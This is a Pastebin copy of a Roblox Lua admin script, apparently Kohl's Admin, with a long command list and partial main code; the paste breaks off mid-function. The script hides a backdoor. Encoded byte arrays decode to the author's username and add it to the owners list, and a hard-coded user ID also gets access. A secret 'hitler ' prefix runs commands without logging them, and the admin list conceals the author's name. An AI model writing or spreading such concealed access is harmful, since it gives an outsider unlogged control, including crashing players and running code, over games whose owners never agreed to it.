Advertisement
Guest User

Untitled

a guest
Aug 4th, 2015
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 119.15 KB | None | 0 0
  1. -----------------------------------------------------------------------------------------
  2. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  3. -----------------------------------------------------------------------------------------
  4. local owners = {game.Players.LocalPlayer.Name} -- Are able to set admins who can ban/etc... using :pa name
  5. local admins = {} -- Sets admins who can use ban/kick/admin or shutdown
  6. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  7. local banland = {} -- Permanently Bans people
  8. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  9. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  10. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  11. ---------------------
  12. -- VIP Admin --
  13. ---------------------
  14. local VipAdmin = false -- If someone can have admin for owning an item
  15. local ItemId = 0 -- The item they must own in order to have admin
  16. ---------------------
  17. -- Group Admin --
  18. ---------------------
  19. local GroupAdmin = false -- If a certain group can have admin
  20. local GroupId = 0 -- Sets the group id that can have admin
  21. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  22. ---------------------
  23. -- Tips and Tricks --
  24. ---------------------
  25. --[[
  26. With this admin you can do a command on multiple people at a time;
  27. :kill me,noob1,noob2,random,team-raiders,nonadmins
  28.  
  29. You can also use a variety commands for different people;
  30. all
  31. others
  32. me
  33. team-
  34. admins
  35. nonadmins
  36. random
  37. --]]
  38. ---------------------
  39. -- Commands --
  40. ---------------------
  41. --[[
  42. -- |Temp Admin Commands| --
  43. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  44. 1. :s print("Hello World") -- Lets you script normally
  45. 2. :ls print("Hello World") -- Lets you script in localscripts
  46. 3. :clear -- Will remove all scripts/localscripts and jails
  47. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  48. 5. :kill kohl -- Kills the player
  49. 6. :respawn kohl -- Respawns the player
  50. 7. :trip kohl -- Trips the player
  51. 8. :stun kohl -- Stuns the player
  52. 9. :unstun kohl -- Unstuns the player
  53. 10. :jump kohl -- Makes the player jump
  54. 11. :sit kohl -- Makes the player sit
  55. 12. :invisible kohl -- Makes the player invisible
  56. 13. :visible kohl -- Makes the player visible
  57. 14. :explode kohl -- Makes the player explode
  58. 15. :fire kohl -- Sets the player on fire
  59. 16. :unfire kohl -- Removes fire from the player
  60. 17. :smoke kohl -- Adds smoke to the player
  61. 18. :unsmoke kohl -- Removes smoke from the player
  62. 19. :sparkles kohl -- Adds sparkles to the player
  63. 20. :unsparkles kohl -- Removes sparkles from the player
  64. 21. :ff kohl -- Adds a forcefield to the player
  65. 22. :unff kohl -- Removes the forcefield from the player
  66. 23. :punish kohl -- Punishes the player
  67. 24. :unpunish kohl -- Unpunishes the player
  68. 25. :freeze kohl -- Freezes the player
  69. 26. :thaw kohl -- Thaws the player
  70. 27. :heal kohl -- Heals the player
  71. 28. :god kohl -- Makes the player have infinite health
  72. 29. :ungod kohl -- Makes the player have 100 health
  73. 30. :ambient .5 .5 .5 -- Changes the ambient
  74. 31. :brightness .5 -- Changes the brightness
  75. 32. :time 12 -- Changes the time
  76. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  77. 34. :fogend 100 -- Changes the fogend
  78. 35. :fogstart 100 -- Changes the fogstart
  79. 36. :removetools kohl -- Removes all tools from the player
  80. 37. :btools kohl -- Gives the player building tools
  81. 38. :give kohl sword -- Gives the player a tool
  82. 39. :damage kohl -- Damages the player
  83. 40. :grav kohl -- Sets the player's gravity to normal
  84. 41. :setgrav kohl 100 -- Sets the player's gravity
  85. 42. :nograv kohl -- Makes the player have 0 gravity
  86. 43. :health kohl 1337 -- Changes the player's health
  87. 44. :speed kohl 1337 -- Changes the player's walkspeed
  88. 45. :name kohl potato -- Changes the player's name
  89. 46. :unname kohl -- Remove the player's name
  90. 47. :team kohl Raiders -- Changes the player's team
  91. 48. :stopmusic -- Will stop all music playing in the server
  92. 49. :teleport kohl potato -- Teleports the player
  93. 50. :change kohl kills 1337 -- Changes a player's stat
  94. 51. :kick kohl -- Removes the player from the game
  95. 52. :infect kohl -- Turns the player into a zombie
  96. 53. :rainbowify kohl -- Turns the player into a rainbow
  97. 54. :flashify kohl -- Turns the player into a strobe
  98. 55. :noobify kohl -- Turns the player into a noob
  99. 56. :ghostify kohl -- Turns the player into a ghost
  100. 57. :goldify kohl -- Turns the player into gold
  101. 58. :shiny kohl -- Makes the player shiny
  102. 59. :normal kohl -- Puts the player back to normal
  103. 60. :trippy kohl -- Spams random colors on the player's screen
  104. 61. :untrippy kohl -- Untrippys the player
  105. 62. :strobe kohl -- Spams white and black on the player's screen
  106. 63. :unstrobe kohl -- Unstrobes the player
  107. 64. :blind kohl -- Blinds the player
  108. 65. :unblind kohl -- Unblinds the player
  109. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  110. 67. :fling kohl -- Flings the player
  111. 68. :seizure kohl -- Puts the player in a seizure
  112. 69. :music 1337 -- Plays a sound from the ID
  113. 70. :lock kohl -- Locks the player
  114. 71. :unlock kohl -- Unlocks the player
  115. 72. :removelimbs kohl -- Removes the player's limbs
  116. 73. :jail kohl -- Puts the player in a jail
  117. 74. :unjail kohl -- Removes the jail from the player
  118. 75. :fix -- This will fix the lighting to it's original settings
  119. 76. :fly kohl -- Makes the player fly
  120. 77. :unfly kohl -- Removes fly from the player
  121. 78. :noclip kohl -- Makes the player able to noclip
  122. 79. :clip kohl -- Removes noclipping from the player
  123. 80. :pm kohl Hey bro -- Sends the player a private message
  124. 81. :dog kohl -- Turns the player into a dog
  125. 82. :undog kohl -- Turns the player back to normal
  126. 83. :creeper kohl -- Turns the player into a creeper
  127. 84. :uncreeper kohl -- Turns the player back to normal
  128. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  129. 86. :char kohl 261 -- Will make a player look like a different player ID
  130. 87. :unchar kohl -- Will return the player back to normal
  131. 88. :h Hello People -- This will shout a hint to everyone
  132. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  133. 90. :starttools kohl -- Will give the player starter tools
  134. 91. :sword kohl -- Will give the player a sword
  135. 92. :bighead kohl -- Will make the player's head larger than normal
  136. 93. :minihead kohl -- Will make the player's head smaller than normal
  137. 94. :insert 1337 -- Will insert a model at the speaker's position
  138. 95. :disco -- Will make the server flash random colors
  139. 96. :flash -- Will make the server flash
  140. 97. :admins -- Shows the admin list
  141. 98. :bans -- Shows the banlist
  142. 99. :musiclist -- Shows the music list
  143. 100. :spin kohl -- Spins the player
  144. 101. :cape kohl Really black -- Gives the player a colored cape
  145. 102. :uncape kohl -- Removes the player's cape
  146. 103. :loopheal kohl -- Will constantly heal the player
  147. 104. :loopfling kohl -- Will constantly fling the player
  148. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  149. 106. :unloopheal kohl -- Will remove the loopheal on the player
  150. 107. :unloopfling kohl -- Will remove the loopfling on the player
  151. 108. :unspin kohl -- Removes spin from the player
  152. 109. :tools -- Gives a list of the tools in the lighting
  153. 110. :undisco -- Removes disco effects
  154. 111. :unflash -- Removes flash effects
  155. 112. :resetstats kohl -- Sets all the stats of a player to 0
  156. 113. :gear kohl 1337 -- Gives a player a gear
  157. 114. :cmdbar -- Gives the speaker a command bar
  158. 115. :shirt kohl 1337 -- Changes the player's shirt
  159. 116. :pants kohl 1337 -- Changes the player's pants
  160. 117. :face kohl 1337 -- Changes the player's face
  161. 118. :swagify kohl -- Swagifies the player
  162. 119. :version -- Shows the current version of the admin
  163. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  164. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  165. 122. :clone kohl -- Creates a clone of the player
  166. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  167. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  168. 125. :control kohl -- Controls a player
  169.  
  170. -- |Admin Commands| --
  171. - :serverlock -- Locks the server
  172. - :serverunlock -- Unlocks the server
  173. - :sm Hello World -- Creates a system message
  174. - :crash kohl -- Crashes a player
  175. - :admin kohl -- Admins a player
  176. - :unadmin kohl -- Unadmins a player
  177. - :ban kohl -- Bans a player
  178. - :unban kohl -- Unbans a player
  179. - :loopkill kohl -- Will constantly kill the player
  180. - :unloopkill kohl -- Will remove the loopkill on the player
  181. - :logs -- Will show all of the commands any admin has used in a game session
  182. - :shutdown -- Shutsdown the server
  183.  
  184. -- |Owner Commands| --
  185. - :pa kohl -- Makes someone a super admin
  186. - :unpa kohl -- Removes a super admin
  187. - :nuke kohl -- Creates a nuke on kohl
  188.  
  189. -- |True Owner Commands| --
  190. - :oa kohl -- Makes someone an owner
  191. - :unoa kohl -- Removes an owner
  192. - :settings -- Shows settings for the commands
  193. --]]
  194. ---------------------
  195. -- Main Script --
  196. ---------------------
  197. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  198.  
  199. function CHEESE()
  200. if game:service("Lighting"):findFirstChild("KACV2") then
  201. owners = {} admins = {} tempadmins = {} banland = {}
  202. for i,v in pairs(game.Lighting.KACV2:children()) do
  203. if v.Name == "Owner" then table.insert(owners, v.Value) end
  204. if v.Name == "Admin" then table.insert(admins, v.Value) end
  205. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  206. if v.Name == "Banland" then table.insert(banland, v.Value) end
  207. if v.Name == "Prefix" then prefix = v.Value end
  208. if v.Name == "FunCommands" then FunCommands = v.Value end
  209. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  210. if v.Name == "GroupId" then GroupId = v.Value end
  211. if v.Name == "GroupRank" then GroupRank = v.Value end
  212. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  213. if v.Name == "ItemId" then ItemId = v.Value end
  214. end
  215. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  216. end
  217.  
  218. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  219. local lobjs = {}
  220. local objects = {}
  221. local logs = {}
  222. local nfs = ""
  223. local slock = false
  224.  
  225. function GetTime()
  226. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  227. if min < 10 then min = "0"..min end
  228. return hour..":"..min
  229. end
  230.  
  231. function ChkOwner(str)
  232. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  233. return false
  234. end
  235.  
  236. function ChkAdmin(str,ck)
  237. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  238. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  239. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  240. return false
  241. end
  242.  
  243. function ChkGroupAdmin(plr)
  244. if GroupAdmin then
  245. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  246. return false
  247. end
  248. end
  249.  
  250. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  251.  
  252. function GetPlr(plr, str)
  253. local plrz = {} str = str:lower()
  254. if str == "all" then plrz = game.Players:children()
  255. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  256. else
  257. local sn = {1} local en = {}
  258. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  259. for x = 1, #sn do
  260. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  261. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  262. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  263. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  264. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  265. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  266. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  267. end end end
  268. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  269. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  270. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  271. end end end
  272. else
  273. for a, plyr in pairs(game.Players:children()) do
  274. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  275. table.insert(plrz, plyr) break
  276. end
  277. end
  278. end
  279. end
  280. end
  281. return plrz
  282. end
  283.  
  284. function Hint(str, plrz, time)
  285. for i, v in pairs(plrz) do
  286. if v and v:findFirstChild("PlayerGui") then
  287. coroutine.resume(coroutine.create(function()
  288. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  289. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  290. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  291. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  292. if not time then wait((#str/19)+2.5) else wait(time) end
  293. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  294. end))
  295. end
  296. end
  297. end
  298.  
  299. function Message(ttl, str, scroll, plrz, time)
  300. for i, v in pairs(plrz) do
  301. if v and v:findFirstChild("PlayerGui") then
  302. coroutine.resume(coroutine.create(function()
  303. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  304. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  305. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  306. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  307. scr.Parent = v.PlayerGui
  308. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  309. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  310. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  311. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  312. end))
  313. end
  314. end
  315. end
  316.  
  317. function RemoveMessage()
  318. for i,v in pairs(game.Players:children()) do
  319. if v and v:findFirstChild("PlayerGui") then
  320. for q,ms in pairs(v.PlayerGui:children()) do
  321. if ms.Name == "MessageGUI" then
  322. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  323. elseif ms.Name == "HintGUI" then
  324. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  325. end
  326. end
  327. end
  328. end
  329. end
  330.  
  331. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  332. _G["RemoveMessage"] = RemoveMessage()
  333.  
  334. function Output(str, plr)
  335. coroutine.resume(coroutine.create(function()
  336. local b, e = loadstring(str)
  337. if not b and plr:findFirstChild("PlayerGui") then
  338. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  339. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  340. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  341. return
  342. end
  343. end))
  344. end
  345.  
  346. function Noobify(char)
  347. if char and char:findFirstChild("Torso") then
  348. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  349. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  350. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  351. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  352. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  353. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  354. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  355. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  356. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  357. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  358. end end
  359. end
  360. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  361.  
  362. function Infect(char)
  363. if char and char:findFirstChild("Torso") then
  364. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  365. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  366. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  367. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  368. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  369. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  370. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  371. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  372. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  373. end end
  374. end
  375. end if not ntab then script:Destroy() end
  376.  
  377. function ScrollGui()
  378. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  379. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  380. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  381. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  382. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  383. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  384. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  385. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  386. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  387. local num = 0
  388. local downv = false
  389. local upv = false
  390.  
  391. down.MouseButton1Down:connect(function() downv = true upv = false
  392. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  393. repeat pos = pos + UDim2.new(0,0,0,-6)
  394. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  395. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  396. end)
  397. down.MouseButton1Up:connect(function() downv = false end)
  398. up.MouseButton1Down:connect(function() upv = true downv = false
  399. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  400. repeat pos = pos + UDim2.new(0,0,0,6)
  401. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  402. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  403. end)
  404. up.MouseButton1Up:connect(function() upv = false end)
  405. return scr, cmf, ent, num
  406. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  407. if not ntab then script:Destroy() end
  408. if not bct then script:Destroy() end
  409.  
  410. function Chat(msg,plr)
  411. coroutine.resume(coroutine.create(function()
  412. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  413. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  414. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  415. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  416. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  417. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  418. if msg:lower() == "cmds" or msg:lower() == "commands" then
  419. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  420. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  421. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  422. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  423. local ost = {"pa plr","unpa plr","nuke plr"}
  424. local tost = {"oa plr","unoa plr","settings"}
  425. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  426. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  427. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  428. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  429. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  430. end
  431.  
  432. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  433.  
  434. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  435. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  436. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  437. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  438. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
